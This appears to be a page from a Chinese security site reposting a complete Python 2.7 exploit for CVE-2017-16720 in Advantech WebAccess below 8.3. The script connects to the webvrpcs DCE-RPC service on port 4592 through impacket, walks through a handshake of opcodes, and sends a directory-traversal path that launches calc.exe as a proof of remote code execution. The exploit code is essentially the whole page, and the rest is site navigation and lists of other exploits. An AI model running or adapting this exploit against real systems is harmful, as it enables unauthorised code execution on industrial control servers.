首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution
来源:@lynerc 作者:ChrisLyne 发布时间:2018-03-13  
#!/usr/bin/python2.7
  
# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
# Date: 03-11-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
# Version: Advantech WebAccess 8.2-2017.08.18
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16720
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/
 
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport
 
def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
    res = dce.recv()
  except Exception, e:
    print "Exception encountered..." + str(e)
    sys.exit(1)
  return res
 
if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)
 
port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"
 
host = sys.argv[1]
 
string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)
 
dce = trans.get_dce_rpc()
dce.connect()
 
print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
 
print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)
 
print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
  print "Something went wrong"
  sys.exit(1)
res = struct.unpack("III", res)
 
if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)
 
print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)
 
print "\nDid it work?"
 
dce.disconnect()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DEWESoft X3 SP1 (64-bit) - Rem
·SC 7.16 - Stack-Based Buffer O
·ManageEngine Applications Mana
·ACL Analytics 13.0.0.579 Arbit
·Sony Playstation 4 (PS4) 4.55
·MikroTik RouterOS < 6.38.4 (x8
·Memcached 1.5.5 - 'Memcrashed
·MikroTik RouterOS < 6.38.4 (MI
·memcached Proof of Concept Amp
·Spring Data REST < 2.6.9 (Inga
·WebLog Expert Web Server Enter
·MikroTik RouterOS < 6.41.3/6.4
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved